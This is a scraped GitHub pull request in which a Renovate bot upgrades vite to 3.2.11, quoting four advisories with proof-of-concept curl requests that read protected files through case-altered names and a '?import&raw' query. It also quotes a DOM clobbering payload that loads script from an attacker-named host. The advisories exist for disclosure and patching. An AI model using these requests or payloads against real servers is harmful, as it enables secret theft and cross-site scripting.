chore(deps): update dependency vite to v3.2.11 [security] #1589

renovate · 2024-09-17T21:28:13Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	`3.2.5` -> `3.2.11`
vite (source)	`3.2.7` -> `3.2.11`

GitHub Vulnerability Alerts

CVE-2024-23331

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected]

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
- npm run dev -- --host 0.0.0.0
- Publicly accessible for the time being here: http://20.12.242.81:5173/
Created dummy secret files, e.g. custom.secret and production.pem
Populated vite.config.js with

export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename

Proof

Impact

Who

Users with exposed dev servers on environments with case-insensitive filesystems

What

Files protected by server.fs.deny are both discoverable, and accessible

CVE-2024-31207

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite)

`v3.2.11`

Compare Source

Please refer to CHANGELOG.md for details.

`v3.2.10`

Compare Source

Please refer to CHANGELOG.md for details.

`v3.2.8`

Compare Source

Please refer to CHANGELOG.md for details.

`v3.2.7`

Compare Source

Please refer to CHANGELOG.md for details.

`v3.2.6`

Compare Source

fix: escape msg in render restricted error html, backport (#12889) (#12892) (b48ac2a), closes #12889 #12892

Configuration

📅 Schedule: Branch creation - "" in timezone Asia/Tokyo, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

cloudflare-workers-and-pages · 2024-09-17T21:28:14Z

Deploying for-ui with Cloudflare Pages

Latest commit:	`b9e0049`
Status:	✅ Deploy successful!
Preview URL:	https://ada5d8c5.for-ui.pages.dev
Branch Preview URL:	https://renovate-npm-vite-vulnerabil.for-ui.pages.dev

View logs

changeset-bot · 2024-09-17T21:28:17Z

⚠️ No Changeset found

Latest commit: b9e0049

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

coderabbitai · 2024-09-17T21:28:48Z

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Tips

Chat

There are 3 ways to chat with CodeRabbit:

Review comments: Directly reply to a review comment made by CodeRabbit. Example:
-- I pushed a fix in commit <commit_id>, please review it.
-- Generate unit testing code for this file.
- Open a follow-up GitHub issue for this discussion.
Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
-- @coderabbitai generate unit testing code for this file.
-- @coderabbitai modularize this function.
PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
-- @coderabbitai generate interesting stats about this repository and render them as a table.
-- @coderabbitai read src/utils.ts and generate unit testing code.
-- @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
-- @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

@coderabbitai pause to pause the reviews on a PR.
@coderabbitai resume to resume the paused reviews.
@coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
@coderabbitai full review to do a full review from scratch and review all the files again.
@coderabbitai summary to regenerate the summary of the PR.
@coderabbitai resolve resolve all the CodeRabbit review comments.
@coderabbitai configuration to show the current CodeRabbit configuration for the repository.
@coderabbitai help to get help.

Other keywords and placeholders

Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
Add @coderabbitai anywhere in the PR title to generate the title automatically.

Documentation and Community

Visit our Documentation for detailed information on how to use CodeRabbit.
Join our Discord Community to get help, request features, and share feedback.
Follow us on X/Twitter for updates and announcements.

Early access features: enabled

We are currently testing the following features in early access:

OpenAI o1 for code reviews: OpenAI's new o1 model is being tested for generating code suggestions in code reviews.

Note:

You can enable or disable early access features from the CodeRabbit UI or by updating the CodeRabbit configuration file.

chore(deps): update dependency vite to v3.2.11 [security]

b9e0049

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency vite to v3.2.11 [security] #1589

chore(deps): update dependency vite to v3.2.11 [security] #1589

renovate bot commented Sep 17, 2024 •

edited

Loading

cloudflare-workers-and-pages bot commented Sep 17, 2024 •

edited

Loading

changeset-bot bot commented Sep 17, 2024

coderabbitai bot commented Sep 17, 2024

Review skipped

Chat

CodeRabbit Commands (Invoked using PR comments)

Other keywords and placeholders

Documentation and Community

chore(deps): update dependency vite to v3.2.11 [security] #1589

Are you sure you want to change the base?

chore(deps): update dependency vite to v3.2.11 [security] #1589

Conversation

renovate bot commented Sep 17, 2024 • edited Loading

GitHub Vulnerability Alerts

Summary

Patches

Details

PoC

Impact

Summary

Impact

Patches

Details

Summary

Details

PoC

Summary

Details

PoC

Impact

Patch

Release Notes

Configuration

cloudflare-workers-and-pages bot commented Sep 17, 2024 • edited Loading

Deploying for-ui with Cloudflare Pages

changeset-bot bot commented Sep 17, 2024

⚠️ No Changeset found

coderabbitai bot commented Sep 17, 2024

Review skipped

Chat

CodeRabbit Commands (Invoked using PR comments)

Other keywords and placeholders

Documentation and Community

renovate bot commented Sep 17, 2024 •

edited

Loading

cloudflare-workers-and-pages bot commented Sep 17, 2024 •

edited

Loading